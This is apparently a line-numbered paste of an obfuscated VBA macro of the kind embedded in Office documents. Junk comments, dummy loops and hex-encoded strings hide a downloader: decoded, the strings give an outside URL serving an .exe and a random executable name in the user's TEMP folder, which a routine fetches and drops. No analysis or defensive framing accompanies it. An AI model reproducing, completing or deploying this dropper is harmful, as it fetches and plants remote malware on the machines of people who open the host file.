  983. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  984. eSLwPuqs = LTrim(qxePLNXI)
  985. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  986. IIAHCAzr = RTrim(eSLwPuqs)
  987. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  988.  
  989. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  990. dygigGUIIU = HexToString(Chr$(54) & Chr$(56) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(48) & Chr$(51) & Chr$(65) & Chr$(50) & Chr$(70) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(54) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(53) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(70) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(53) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(65) & Chr$(55) & Chr$(51) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(69) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(53))
  991. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  992.  
  993. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  994. Dim CYdKgqMW, ZAMdAYQS, mKQVlDah As String
  995. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  996. Dim CwhPUFzq As Integer
  997. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  998. For CwhPUFzq = 0 To 9
  999. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1000. Dim UeswXEHw, XLjBahzr, vrTLPSQc As String
  1001. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1002. UeswXEHw = HexToString("2020202020202020202020555059424942202020202020202020202020202020")
  1003. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1004. XLjBahzr = LTrim(UeswXEHw)
  1005. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1006. vrTLPSQc = RTrim(XLjBahzr)
  1007. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1008.  
  1009. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1010. DoEvents
  1011. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1012. Next CwhPUFzq
  1013. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1014. Dim eVWTTqPK, grUIiBDe, fFqmyalA As String
  1015. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1016. eVWTTqPK = HexToString("20202020202020202020204E5051425255202020202020202020202020202020")
  1017. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1018. grUIiBDe = LTrim(eVWTTqPK)
  1019. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1020. fFqmyalA = RTrim(grUIiBDe)
  1021. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1022.  
  1023. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1024. CYdKgqMW = HexToString("202020202020202020202044554358454A202020202020202020202020202020")
  1025. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1026. Dim clzDANKj As Integer
  1027. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1028. For clzDANKj = 0 To 7
  1029. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1030. Dim nminSEgn, wwkSuUSZ, kwAVASpE As String
  1031. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1032. nminSEgn = HexToString("20202020202020202020204C56594B5149202020202020202020202020202020")
  1033. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1034. wwkSuUSZ = LTrim(nminSEgn)
  1035. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1036. kwAVASpE = RTrim(wwkSuUSZ)
  1037. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1038.  
  1039. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1040. DoEvents
  1041. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1042. Next clzDANKj
  1043. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1044. Dim xNuYrKlK, ghVkWBUx, MsTSimvf As String
  1045. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1046. xNuYrKlK = HexToString("20202020202020202020204E484D4A4349202020202020202020202020202020")
  1047. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1048. ghVkWBUx = LTrim(xNuYrKlK)
  1049. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1050. MsTSimvf = RTrim(ghVkWBUx)
  1051. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1052.  
  1053. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1054. ZAMdAYQS = LTrim(CYdKgqMW)
  1055. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1056. Dim IwWaiLND As Integer
  1057. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1058. For IwWaiLND = 0 To 9
  1059. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1060. Dim shVgTyWv, FAsogERK, ejkDmgHn As String
  1061. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1062. shVgTyWv = HexToString("2020202020202020202020454145454759202020202020202020202020202020")
  1063. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1064. FAsogERK = LTrim(shVgTyWv)
  1065. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1066. ejkDmgHn = RTrim(FAsogERK)
  1067. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1068.  
  1069. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1070. DoEvents
  1071. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1072. Next IwWaiLND
  1073. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1074. Dim HhYDQTGo, zwlHflLl, fAtLGuXR As String
  1075. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1076. HhYDQTGo = HexToString("20202020202020202020204E5249515851202020202020202020202020202020")
  1077. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1078. zwlHflLl = LTrim(HhYDQTGo)
  1079. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1080. fAtLGuXR = RTrim(zwlHflLl)
  1081. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1082.  
  1083. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1084. mKQVlDah = RTrim(ZAMdAYQS)
  1085. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1086.  
  1087. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1088. Dim MXGfFVXh As Integer
  1089. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1090. For MXGfFVXh = 0 To 2
  1091. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1092. Dim pPIhWNUM, yPKAhttW, aQeDPoZX As String
  1093. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1094. pPIhWNUM = HexToString("202020202020202020202051594C44474D202020202020202020202020202020")
  1095. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1096. yPKAhttW = LTrim(pPIhWNUM)
  1097. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1098. aQeDPoZX = RTrim(yPKAhttW)
  1099. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1100.  
  1101. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1102. DoEvents
  1103. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1104. Next MXGfFVXh
  1105. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1106. Dim SXknxwmz, RdosdZPT, piHYbCAx As String
  1107. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1108. SXknxwmz = HexToString("2020202020202020202020494742445958202020202020202020202020202020")
  1109. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1110. RdosdZPT = LTrim(SXknxwmz)
  1111. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1112. piHYbCAx = RTrim(RdosdZPT)
  1113. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1114.  
  1115. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1116.    XBFAPGNWGLM dygigGUIIU, Environ(HexToString("54454D50")) & HexToString("5C585A4C4E58544D534A55582E657865")
  1117. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1118. End Sub
  1119. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1120.  
  1121. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1122. Public Function HexToString(ByVal wlFwnAKuth As String) As String
  1123. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1124. Dim uQdrZqcgGusmEB As String
  1125. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1126. Dim tSYUgjyTUeojMcv As String
  1127. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1128. Dim UPEktusxicjMa As Long
  1129. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1130. For UPEktusxicjMa = 1 To Len(wlFwnAKuth) Step 2
  1131. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1132. Dim aJoPSqIO, hUgfKXMk, KLEiAlES As String
  1133. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1134. Dim HVJSphPY As Integer
  1135. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1136. For HVJSphPY = 0 To 7
  1137. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1138. Dim zLlcoBJH, UFNKwlII, dOIdIGnb As String
  1139. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1140. zLlcoBJH = "           OEWRQK               "
  1141. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1142. UFNKwlII = LTrim(zLlcoBJH)
  1143. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1144. dOIdIGnb = RTrim(UFNKwlII)
  1145. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1146.  
  1147. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1148. DoEvents
  1149. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1150. Next HVJSphPY
  1151. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1152. Dim vIRjGOFd, aMKqvuxY, hOVFRKIg As String
  1153. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1154. vIRjGOFd = "           OPLRMW               "
  1155. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1156. aMKqvuxY = LTrim(vIRjGOFd)
  1157. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1158. hOVFRKIg = RTrim(aMKqvuxY)
  1159. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1160.  
  1161. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1162. aJoPSqIO = "           HRRYEG               "
  1163. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1164. Dim GemnnllM As Integer
  1165. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1166. For GemnnllM = 0 To 3
  1167. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1168. Dim wmEehwUQ, UnhyKpPX, TsLKHsjm As String
  1169. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1170. wmEehwUQ = "           OXEQXD               "
  1171. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1172. UnhyKpPX = LTrim(wmEehwUQ)
  1173. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1174. TsLKHsjm = RTrim(UnhyKpPX)
  1175. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1176.  
  1177. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1178. DoEvents
  1179. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1180. Next GemnnllM
  1181. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1182. Dim CRZMxbXP, KTSyJRlQ, FYXksIJD As String
  1183. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1184. CRZMxbXP = "           VLSMFF               "
  1185. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1186. KTSyJRlQ = LTrim(CRZMxbXP)
  1187. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1188. FYXksIJD = RTrim(KTSyJRlQ)
  1189. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1190.  
  1191. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1192. hUgfKXMk = LTrim(aJoPSqIO)
  1193. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1194. Dim QAfzAAfs As Integer
  1195. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1196. For QAfzAAfs = 0 To 6
  1197. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1198. Dim mfjZcHQR, BpVCQqZw, RtTkVTmf As String
  1199. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1200. mfjZcHQR = "           KDMYKD               "
  1201. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1202. BpVCQqZw = LTrim(mfjZcHQR)
  1203. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1204. RtTkVTmf = RTrim(BpVCQqZw)
  1205. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1206.  
  1207. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1208. DoEvents
  1209. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1210. Next QAfzAAfs
  1211. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1212. Dim EooGpICB, KVglhloU, mpZdBJKa As String
  1213. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1214. EooGpICB = "           TDRIGA               "
  1215. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1216. KVglhloU = LTrim(EooGpICB)
  1217. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1218. mpZdBJKa = RTrim(KVglhloU)
  1219. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1220.  
